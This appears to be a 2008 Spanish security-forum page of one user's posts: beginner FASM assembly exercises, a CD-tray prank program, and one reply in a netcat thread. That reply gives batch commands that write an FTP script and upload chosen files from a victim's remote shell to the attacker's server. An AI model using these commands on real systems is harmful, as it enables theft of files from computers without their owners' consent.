|
Mostrar Mensajes
|
Páginas: 1 [2] 3 4
|
11
|
Seguridad Informática / Abril negro / Re: Abril Negro 2008: Taller de ASM by E0N
|
en: 23 Abril 2008, 07:42 am
|
Mejor pega el source en el post y asi se comentan dudas y eso Por q es q como me los tenga q dar a mi todo el mundo me puedo aburrir a corregirlos xD Salu2 para que no diga nadie que le fastidié los ejercicios, posteo aquí el código por petición de E0N: Ejercicio 1: include 'H:\archivos de programa\fasm\include\win32ax.inc' .code start: mov eax, 12 ;Puede ser cualquier valor, yo les he dado estos porque me apetecía mov ebx, 8 ;Usar esos numeros add eax, ebx .end start
ejercicio 2 include 'H:\archivos de programa\fasm\include\win32ax.inc' .data miByte db ? .code start: mov [miByte], 8 mov al, 7 add al, 8 add al, 5 add al, 2 add al, 9 add al, 1 add al, 0 add al, 3 div [miByte] ; el resultado aparecerá en AL y el resto en AH .end start
ejercicio 3 include 'H:\archivos de programa\fasm\include\win32ax.inc' .code start: push 1 pop eax push 2 pop ebx push 3 pop ecx push 4 pop edx push 5 pop edi push 6 pop esi .end start
Ejercicio 4 (no se si lo tengo bien o no) include 'H:\Archivos de programa\FASM\INCLUDE\WIN32AX.inc' .code start: mov eax, 23 mov ebx, 39 cmp eax,ebx je iguales jne distintos iguales: invoke MessageBox, 0, 'eax y ebx son iguales', '', 0 invoke ExitProcess, 0 distintos: invoke MessageBox, 0, 'eax y ebx son distintos', '', 0 invoke ExitProcess, 0 .end start
Ejercicio 5: (se que es así, pero no se si he elegido bien los saltos, creo que si) include 'H:\archivos de programa\fasm\include\win32ax.inc' .code start: mov eax, 7 mov ebx, 1 add eax, ebx cmp eax, 5 JBE salir JG mensaje mensaje: invoke MessageBox, 0, 'Mayor que 5', '', 0 salir: invoke ExitProcess, 0 .end start
Aquí podeis descargar los códigos fuente y los ejecutables compilados, lo he resubido porque vi que el código del primer ejercicio estaba en balco a la hora de postearlo: http://www.megaupload.com/?d=Y1O3BY3K
|
|
|
13
|
Seguridad Informática / Hacking / Re: Jugando con netcat
|
en: 22 Abril 2008, 22:07 pm
|
Hola, mirad, yo tengo un dominio de estos de iespana, entonces, digo, desde la shell de la victima, cojo y subo los archivos que quiera, y desde mi shell luego los veo. Pero pasa una cosa, cuando pongo en la shell de la victima:
ftp 82.196... (me pide usuario) y se lo pongo pero sq, ahi se queda pensando un rato, y no sale nada, sq no me puedo conectar a mi servidor para subir algo, desde una shell remota??
Por favor, contestar!!
Gracias.
usa el código siguiente, donde pone script dejalo tal cual, es un archivo que crearás y despues borrarás echo put [PON AQUI LA RUTA DEL ARCHIVO QUE QUIERES SUBIR] >>script start ftp -s:script [aqui la direccion del servidor al que vas a subir el archivo] >nul
repite el proceso por cada archivo, o añade varias lineas de echo put [archivo]>>script antes del echo bye>>script
|
|
|
20
|
Seguridad Informática / Abril negro / Re: Abril Negro 2008: Taller de ASM by E0N
|
en: 16 Abril 2008, 17:04 pm
|
E0N, tengo una duda, estaba trasteando con los ejemplos que trae el FASM, y modifiqué el BEER.ASM quedando así ; Beer - example of tiny (one section) Win32 program format PE GUI 4.0 include 'H:/Archivos de Programa/FASM/include/win32a.inc' ; no section defined - fasm will automatically create .flat section for both ; code and data, and set entry point at the beginning of this section invoke MessageBoxA,0,_message,_caption,MB_ICONQUESTION+MB_YESNO cmp eax,IDYES jne exit invoke mciSendString,_cmd_open,0,0,0 invoke mciSendString,_cmd_eject,0,0,0 invoke mciSendString,_cmd_close,0,0,0 invoke MessageBoxA,0,_aburrimiento, _aburres,MB_ICONQUESTION+MB_OK exit: invoke ExitProcess,0 _message db 'Te veo aburrido, quieres echar unas canastas?',0 _caption db 'Estás aburrido',0 _cmd_open db 'open cdaudio',0 _cmd_eject db 'set cdaudio door open',0 _cmd_close db 'close cdaudio',0 _aburrimiento db 'Hala! Haz un Triple!',0 _aburres db 'NBA',0 ; import data in the same section data import library kernel32,'KERNEL32.DLL',\ user32,'USER32.DLL',\ winmm,'WINMM.DLL' import kernel32,\ ExitProcess,'ExitProcess' import user32,\ MessageBoxA,'MessageBoxA' import winmm,\ mciSendString,'mciSendStringA' end data
Añadí un mensaje despues de que se abriese la bandeja del CD, mi duda es, como puedo cambiar el icono?, lo he compilado y funciona perfecto, pero no puedo cambiarlo (el código lo adjunta para mostrar como quedó y nada más, aunque solo he añadido y traducido, no he cambiado más)
|
|
|
|
|
|
|